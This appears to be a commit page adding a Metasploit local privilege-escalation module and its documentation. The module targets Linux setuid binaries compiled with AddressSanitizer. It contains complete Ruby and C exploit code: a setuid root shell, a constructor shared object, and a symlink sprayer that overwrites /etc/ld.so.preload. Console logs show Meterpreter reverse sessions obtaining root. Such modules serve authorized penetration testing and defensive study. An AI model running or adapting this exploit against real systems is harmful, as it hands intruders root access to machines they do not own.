Land #11243, Add ASan SUID Privesc
commit
2ae6142de7
|
@ -0,0 +1,166 @@
|
|||
## Description
|
||||
|
||||
This module attempts to gain root privileges on Linux systems using
|
||||
setuid executables compiled with AddressSanitizer (ASan).
|
||||
|
||||
ASan configuration related environment variables are permitted when
|
||||
executing setuid executables built with libasan. The `log_path` option
|
||||
can be set using the `ASAN_OPTIONS` environment variable, allowing
|
||||
clobbering of arbitrary files, with the privileges of the setuid user.
|
||||
|
||||
This module uploads a shared object and sprays symlinks to overwrite
|
||||
`/etc/ld.so.preload` in order to create a setuid root shell.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[AddressSanitizer](https://clang.llvm.org/docs/AddressSanitizer.html) (ASan)
|
||||
is a fast memory error detector. It consists of a compiler instrumentation
|
||||
module and a run-time library.
|
||||
|
||||
An example executable can be compiled with ASan as follows:
|
||||
|
||||
```
|
||||
gcc -s -lasan -fsanitize=address -o asan.elf helloworld.c
|
||||
sudo mv asan.elf /usr/bin/asan.elf
|
||||
sudo chown root:root /usr/bin/asan.elf
|
||||
sudo chmod u+s /usr/bin/asan.elf
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use use exploit/linux/local/asan_suid_executable_priv_esc`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `set SUID_EXECUTABLE /path/to/suid/compiled/with/asan`
|
||||
6. `check`
|
||||
7. `run`
|
||||
8. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**SUID_EXECUTABLE**
|
||||
|
||||
Path to a SUID executable compiled with ASan. (default: ``)
|
||||
|
||||
**SPRAY_SIZE**
|
||||
|
||||
Number of PID symlinks to create. (default: `50`)
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Command Shell Session (Linux Mint 19)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/asan_suid_executable_priv_esc
|
||||
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
|
||||
suid_executable => /usr/bin/a.out
|
||||
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] /usr/bin/a.out is setuid
|
||||
[+] /usr/bin/a.out was compiled with ASan
|
||||
[+] gcc is installed
|
||||
[*] Writing '/tmp/.pCriI' (291 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 291 bytes in 1 chunks of 937 bytes (octal-encoded), using printf
|
||||
[*] Writing '/tmp/.JtSfQ1.c' (142 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 142 bytes in 1 chunks of 513 bytes (octal-encoded), using printf
|
||||
[*] Writing '/tmp/.TCLmzU.so.c' (323 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 323 bytes in 1 chunks of 1167 bytes (octal-encoded), using printf
|
||||
[*] Writing '/tmp/.V7OEFt.c' (253 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 253 bytes in 1 chunks of 906 bytes (octal-encoded), using printf
|
||||
[*] Writing '/tmp/.LpfTKJwR' (256 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 256 bytes in 1 chunks of 942 bytes (octal-encoded), using printf
|
||||
[*] Launching exploit...
|
||||
[+] Success! /tmp/.JtSfQ1 is set-uid root!
|
||||
-rwsr-xr-x 1 root root 8384 Jan 12 19:30 /tmp/.JtSfQ1
|
||||
[*] Executing payload...
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (914728 bytes) to 172.16.191.211
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56074) at 2019-01-12 03:30:47 -0500
|
||||
[+] Deleted /tmp/.JtSfQ1.c
|
||||
[+] Deleted /tmp/.TCLmzU.so.c
|
||||
[+] Deleted /tmp/.TCLmzU.so
|
||||
[+] Deleted /tmp/.V7OEFt.c
|
||||
[+] Deleted /tmp/.V7OEFt
|
||||
[+] Deleted /tmp/.LpfTKJwR
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.211
|
||||
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Meterpreter Session (Linux Mint 19)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/asan_suid_executable_priv_esc
|
||||
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
|
||||
suid_executable => /usr/bin/a.out
|
||||
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] /usr/bin/a.out is setuid
|
||||
[+] /usr/bin/a.out was compiled with ASan
|
||||
[+] gcc is installed
|
||||
[*] Writing '/tmp/.XBKiFa' (291 bytes) ...
|
||||
[*] Writing '/tmp/.ooMwKnEXt.c' (142 bytes) ...
|
||||
[*] Writing '/tmp/.cWZL3A.so.c' (329 bytes) ...
|
||||
[*] Writing '/tmp/.78iKLJOvX.c' (254 bytes) ...
|
||||
[*] Writing '/tmp/.WkXgm2agJ8' (261 bytes) ...
|
||||
[*] Launching exploit...
|
||||
[+] Success! /tmp/.ooMwKnEXt is set-uid root!
|
||||
-rwsr-xr-x 1 root root 8384 Jan 12 19:42 /tmp/.ooMwKnEXt
|
||||
[*] Executing payload...
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (914728 bytes) to 172.16.191.211
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56080) at 2019-01-12 03:42:43 -0500
|
||||
[+] Deleted /tmp/.XBKiFa
|
||||
[+] Deleted /tmp/.ooMwKnEXt.c
|
||||
[+] Deleted /tmp/.cWZL3A.so.c
|
||||
[+] Deleted /tmp/.cWZL3A.so
|
||||
[+] Deleted /tmp/.78iKLJOvX.c
|
||||
[+] Deleted /tmp/.78iKLJOvX
|
||||
[+] Deleted /tmp/.WkXgm2agJ8
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.211
|
||||
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,292 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'AddressSanitizer (ASan) SUID Executable Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on Linux systems using
|
||||
setuid executables compiled with AddressSanitizer (ASan).
|
||||
|
||||
ASan configuration related environment variables are permitted when
|
||||
executing setuid executables built with libasan. The `log_path` option
|
||||
can be set using the `ASAN_OPTIONS` environment variable, allowing
|
||||
clobbering of arbitrary files, with the privileges of the setuid user.
|
||||
|
||||
This module uploads a shared object and sprays symlinks to overwrite
|
||||
`/etc/ld.so.preload` in order to create a setuid root shell.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Szabolcs Nagy', # Discovery and PoC
|
||||
'infodox', # unsanitary.sh Exploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => '2016-02-17',
|
||||
'Platform' => 'linux',
|
||||
'Arch' =>
|
||||
[
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [['Auto', {}]],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'AppendExit' => true,
|
||||
'PrependSetresuid' => true,
|
||||
'PrependSetresgid' => true,
|
||||
'PrependFork' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://seclists.org/oss-sec/2016/q1/363'],
|
||||
['URL', 'https://seclists.org/oss-sec/2016/q1/379'],
|
||||
['URL', 'https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e'],
|
||||
['URL', 'https://github.com/bcoles/local-exploits/tree/master/asan-suid-root']
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' => ['unsanitary.sh']
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable compiled with ASan', '']),
|
||||
OptInt.new('SPRAY_SIZE', [true, 'Number of PID symlinks to create', 50])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
def suid_exe_path
|
||||
datastore['SUID_EXECUTABLE']
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
chmod path
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data, gcc_args='')
|
||||
upload "#{path}.c", data
|
||||
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
|
||||
unless gcc_args.to_s.blank?
|
||||
gcc_cmd << " #{gcc_args}"
|
||||
end
|
||||
|
||||
output = cmd_exec gcc_cmd
|
||||
|
||||
unless output.blank?
|
||||
print_error 'Compiling failed:'
|
||||
print_line output
|
||||
end
|
||||
|
||||
register_file_for_cleanup path
|
||||
chmod path
|
||||
end
|
||||
|
||||
def check
|
||||
unless setuid? suid_exe_path
|
||||
vprint_error "#{suid_exe_path} is not setuid"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{suid_exe_path} is setuid"
|
||||
|
||||
# Check if the executable was compiled with ASan
|
||||
#
|
||||
# If the setuid executable is readable, and `ldd` is installed and in $PATH,
|
||||
# we can detect ASan via linked libraries. (`objdump` could also be used).
|
||||
#
|
||||
# Otherwise, we can try to detect ASan via the help output with the `help=1` option.
|
||||
# This approach works regardless of whether the setuid executable is readable,
|
||||
# with the obvious disadvantage that it requires invoking the executable.
|
||||
if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd')
|
||||
unless cmd_exec("ldd #{suid_exe_path}").to_s.include? 'libasan.so'
|
||||
vprint_error "#{suid_exe_path} was not compiled with ASan"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
else
|
||||
unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'
|
||||
vprint_error "#{suid_exe_path} was not compiled with ASan"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
vprint_good "#{suid_exe_path} was compiled with ASan"
|
||||
|
||||
unless has_gcc?
|
||||
print_error 'gcc is not installed. Compiling will fail.'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'gcc is installed'
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Appears
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
unless writable? pwd.to_s.strip
|
||||
fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
|
||||
end
|
||||
|
||||
if nosuid? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
|
||||
end
|
||||
|
||||
@log_prefix = ".#{rand_text_alphanumeric 5..10}"
|
||||
|
||||
payload_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
payload_path = "#{base_dir}/#{payload_name}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
rootshell_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
@rootshell_path = "#{base_dir}/#{rootshell_name}"
|
||||
rootshell = <<-EOF
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
int main(void)
|
||||
{
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
}
|
||||
EOF
|
||||
upload_and_compile @rootshell_path, rootshell, '-Wall'
|
||||
|
||||
lib_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
lib_path = "#{base_dir}/#{lib_name}.so"
|
||||
lib = <<-EOF
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
void init(void) __attribute__((constructor));
|
||||
void __attribute__((constructor)) init() {
|
||||
if (setuid(0) || setgid(0))
|
||||
_exit(1);
|
||||
unlink("/etc/ld.so.preload");
|
||||
chown("#{@rootshell_path}", 0, 0);
|
||||
chmod("#{@rootshell_path}", 04755);
|
||||
_exit(0);
|
||||
}
|
||||
EOF
|
||||
upload_and_compile lib_path, lib, '-fPIC -shared -ldl -Wall'
|
||||
|
||||
spray_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
spray_path = "#{base_dir}/#{spray_name}"
|
||||
spray = <<-EOF
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
int main(void)
|
||||
{
|
||||
pid_t pid = getpid();
|
||||
char buf[64];
|
||||
for (int i=0; i<=#{datastore['SPRAY_SIZE']}; i++) {
|
||||
snprintf(buf, sizeof(buf), "#{@log_prefix}.%ld", (long)pid+i);
|
||||
symlink("/etc/ld.so.preload", buf);
|
||||
}
|
||||
}
|
||||
EOF
|
||||
upload_and_compile spray_path, spray, '-Wall'
|
||||
|
||||
exp_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
exp_path = "#{base_dir}/#{exp_name}"
|
||||
exp = <<-EOF
|
||||
#!/bin/sh
|
||||
#{spray_path}
|
||||
ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix}
|
||||
#{lib_path}
|
||||
' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1
|
||||
ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1
|
||||
EOF
|
||||
upload_and_chmodx exp_path, exp
|
||||
|
||||
print_status 'Launching exploit...'
|
||||
output = cmd_exec exp_path
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
|
||||
unless setuid? @rootshell_path
|
||||
fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}"
|
||||
end
|
||||
print_good "Success! #{@rootshell_path} is set-uid root!"
|
||||
vprint_line cmd_exec "ls -la #{@rootshell_path}"
|
||||
|
||||
print_status 'Executing payload...'
|
||||
cmd_exec "echo #{payload_path} | #{@rootshell_path} & echo "
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# Safety check to ensure we don't delete everything in the working directory
|
||||
if @log_prefix.to_s.strip.eql? ''
|
||||
vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}"
|
||||
else
|
||||
cmd_exec "rm #{pwd}/#{@log_prefix}*"
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
# Remove rootshell executable
|
||||
if session.type.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
session.fs.file.rm @rootshell_path
|
||||
else
|
||||
session.shell_command_token "rm -f '#{@rootshell_path}'"
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue